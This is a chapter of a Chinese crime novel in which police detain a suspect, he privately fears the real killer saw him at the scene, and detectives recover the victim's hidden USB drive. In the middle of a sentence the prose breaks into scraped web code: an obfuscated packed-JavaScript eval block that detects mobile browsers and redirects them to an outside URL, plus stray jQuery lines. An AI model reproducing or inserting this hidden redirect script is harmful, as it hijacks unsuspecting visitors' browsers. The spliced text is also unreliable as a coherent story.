几位刑警隔着单向玻璃打量坐在审讯室里的纪闻舟。


    小封：“杨队，我们真就这么晾着他么？”


    时间有限，假若他们在24小时内找不到犯罪证据，不管愿不愿意，都只能放纪闻舟回去。


    杨队：“你叫人进去采集一下他的足迹信息。”


    “是，杨队。”


    采集工作做完，审讯室的门又被阖上，纪闻舟几不可察地松了口气。


    范壮成遇害的那天晚上，他穿的是另一双鞋子，回家后他就把那双鞋给处理掉了。现在他只觉得庆幸，庆幸自己赶在警方采集足迹前换了鞋子。


    杨队看着刚回来的小封：“痕检那边怎么说？”


    小封摇摇头：“鞋的尺码符合，但鞋印不符。”


    杨队挑眉：“刚才你进去的时候，留意到他的鞋子了没？”


    “留意到了。”


    “是新鞋还是旧鞋？”


    “我看着鞋子挺新的，应该刚穿了没几天。”


    杨队冷笑。


    难怪采集足迹时态度那么配合。


    “杨队，我们要不要申请搜查令啊，去他家里找找，说不定能找着呢。”


    “申请吧，不过那双鞋他应该早处理掉了，还能等着我们去给他找出来？”


    小封垮下肩膀：“那我们该怎么办？”


    “先拘留着再说。”


    ***


    纪闻舟脑子里塞满了信息，很乱，理不出一点头绪。


    警方应该暂时还没找到证据来定他的罪，否则他就不是待在审讯室里，而是得送去看守所了。


    可他还是慌，总觉得情况不妙，处境危险。


    负责审问他的老刑警信誓旦旦地跟他说，七年前的尸骨案他们有目击证人，可网上那个自称目击者的博主‘了不起的瓦伦蒂娜’，明明已经死了啊。


    人都死了，又哪里来的目击证人？


    是警察在拿话骗他试探他，还是说，除了‘了不起的瓦伦蒂娜’之外，另外还有一个目击证人？


    纪闻舟心头一惊。


    不会的，如果警方手里的确掌握着什么确凿的证据，又怎么可能不马上定他罪，而是把他晾在审讯室里呢？


    目前最棘手的不是肖学庆，而是范壮成的死。


    范壮成遇害，警察肯定会展开调查工作，还会仔细查找他的个人物品。那天在拆迁楼里，他搜遍了范壮成全身，每个口袋都翻找过了，都没找到任何录音设备。他可以肯定，范壮成赴约跟他见面的时候，录音没带在身上。


    是范壮成提防他，把录音托付给信得过的亲人朋友来保管、被范壮成藏在了家里，还是他藏匿在了别的什么地方？


    姑且不说第一种和第三种情况，如果是第二种情况，警方只要在范壮成的住所仔细搜找过一遍，就能发现那段录音，拿出来一听，就能确定尸骨案的凶手是他，是他造成了肖学庆的死亡，相应地，也会认定他就是杀害‘了不起的瓦伦蒂娜’还有范壮成的凶手。


    纪闻舟僵着身子坐在审讯椅上。


    心情乱到不行，可他只能木着脸，不能抽烟，也不敢抓头发或是对着空气怒吼，他虽看不见，但他知道，警察这会儿正在单向玻璃的另一边盯着他看，最伤脑筋的是他根本就不知道是谁杀了范壮成。


    那晚他赶到约定地点，到了五楼他才发现范壮成躺在血泊中。他隔着手套摸过，范壮成还没凉，说明他才遇害没多久。他来之前料想过范壮成会狮子大开口，会拒绝把录音还给他，但他怎么都没料到，会遇到这种情况。


    打电话报警是不可能的，警察一旦来了，他就算想要解释，势必也解释不清楚他大晚上为何要跑来无人居住的拆迁楼，还刚好不好地发现了命案。


    他搜遍范壮成衣裤口袋后，拿着手电筒打量过周围，房间里没人，他便关了手电悄悄离开了。


    他今天才知道，范壮成的脸被烧了。可他离开现场的时候，范壮成虽然躺在血泊中，但他的脸并没有烧过的痕迹，不然他也不可能一眼就认出躺在地上的人是范壮成。


    那是不是意味着，他前脚才走，后脚凶手就又回来点火烧毁了范壮成的脸。


    冷意一点点爬上来，胳膊上冒出一层鸡皮疙瘩。


    凶手怎么就能把时间掐得那么准，刚好没被他撞见？


    除非凶手一直都在现场。


    他以为凶手已离开案发现场，但如果实际情况并非如此呢。房间里黑漆漆的，他只用手电匆匆扫了一眼周围就以为房间里没人，手电的照明范围有限，他真能担保凶手没躲在哪个角落里么？


    纪闻舟闭上眼，仔细回想。


    他当时做什么了？


    他一进去就看到范壮成躺在血泊中，很多很多的血，他站在原地愣了片刻，在赶紧走和找完东西就走之间犹豫，可能就几秒钟，他走近了蹲下//.身，开始哆哆嗦嗦翻他的口袋。


    全程他手里的手电都亮着。


    他在明，凶手在暗。


    凶手不一定知道他是谁，但凶手肯定看到他了。除了他，大概也只有凶手心里清楚，杀害范壮成的人不是他。


    小封用手指着单向玻璃：“杨队，你看，他是不是有点不大对劲？”


    杨队和另外几位警员齐刷刷地看着坐在审讯室里的纪闻舟。


    他苍白着脸，肩膀轻轻颤动着。


    他在忍，抑或是在害怕什么。


    杨队才要走出监控室里，警员小夏快速走了进来：“杨队，旅馆那边有消息了。”


    就在刚才，小夏接了一通电话，是范壮成住的旅馆的保洁员打来的电话，说是她在打扫卫生时发现一个u盘，她原本想把u盘给前台的，让前台问问是哪个房客落下的，后来她又想起来自从住这房间里的房客死了之后，他们就把房间的门给锁上了，一直没再让别的客人住过。那天刑警老金和小夏临走前就关照过她，一旦有什么线索，赶紧跟他们联系，小夏还给了她办公室里的电话号码。


    杨队问小夏：“找到范壮成的u盘了？”


    “对，范壮成出事后，旅馆那边就把门给锁上了，没再住过别人。然后今天客房经理说让她进去打扫打扫，换床单的时候阿姨找到了u盘。估计是范壮成故意藏起来的，就是怕被人发现。”


    小封额角青筋突突地跳：“不是叫他们别碰那屋里的任何东西么？怎么还进去打扫卫生了呢？”


    杨队挥挥手：“好了好了，现在计较这些也没什么意义了。”他偏头看向小夏，“小夏，你跟老金赶紧跑一趟旅馆，把那u盘给带回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639916|184578||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来，我们先看看里面有什么东西再说。”


    小夏跟老金赶紧去了旅馆，保洁人员站在大厅里等着，前台脸色阴沉沉的，估计心里不喜保洁员擅作主张，不跟她说一声就把这事捅到了警察那边，小夏和老金也不去理会她，向保洁员道了谢，又带着u盘回了警局。


    确认u盘里的内容，杨队从电脑前站起身：“你们在这里盯着些，我去去就回来。”


    “杨队，你要去哪里？”


    “去见马局，申请延长拘留时间！”


    ***


    门外响起敲门声时，南涔正在厨房里煮面。


    打开门，站在门外的居然是叶青容，手里大包小包的。


    “妈，你怎么过来了？”南涔扶着门框朝走廊里张望，“爸和微微没跟你一起过来吗？”


    叶青容进了屋里，抱着东西径直朝厨房走。


    “他们在家里，我带点东西过来，马上就走。”


    南涔也跟着走进厨房，见叶青容从包里拿出一个个饭盒，忍不住道：“妈，你带那么多吃的东西过来干什么呀？我又不是没东西吃，你说你烧这么多菜，还带着东西跑这么远过来，累不累啊？”


    叶青容朝煤气灶上的汤面瞥了眼：“我不来，你就打算吃这个？”


    “我这不是今天刚好忙着么。”


    叶青容捏捏南涔的脸：“你看你，最近瘦了不少，纪闻舟最近腿脚受伤下厨不方便，你平时又很少做饭，你们俩的伙食能好？反正我退休了在家也闲得没事做，烧几个你爱吃的菜给你带过来，咱营养总得跟上吧。”


    南涔也不好再说什么，打开冰箱门把饭盒放到冰箱里，叶青容在一旁帮她递东西，一边左右张望：“闻舟不在家吗？”


    南涔含糊地嗯了声：“店里有点事，他去店里处理事情去了。”


    “等他回来也不知道几点了，你管你先吃饭吧，反正我今天做的菜量也够，你给他留一些就是了。”


    母女俩正说着话，塞在围裙口袋里的手机响了，南涔拿出手机扫了眼屏幕，脸色登时一白，转身去了卫生间，关上门，才按下接听键。


    “喂，是南涔南女士么？”


    “我就是。”


    “我是刑侦队的警员夏铭，你今天有空吗？可不可以来一趟警局？”


    南涔指甲一下一下地抠着手心：“是有什么事吗？”


    “是这样的，纪闻舟纪先生被拘留了，能不能请你收拾一些干净的换洗衣服帮他带过来？”


    “好，我马上过去。”


    平复好心情，南涔开门去了客厅。


    叶青容两眼在她脸上溜了一圈：“谁打来的电话？”


    “单位里的同事，问我点事。”


    “事情严重吗？”


    南涔勉强扯出一抹笑容：“还好，也不是很大的事。”


    叶青容瞥向墙上的时钟：“都这么晚了，我先得回去了。”


    南涔也没作挽留，跟着她走到玄关处：“妈，我送你下去。”


    “不用不用，几步路的事，送什么送！你赶紧吃饭去，肚子一直饿着多不好。”


    南涔从衣柜里随便拿了几套衣裤出来，把衣物塞到行李包里，又坐在沙发上等了几分钟跟叶青容错开，才又坐电梯下楼。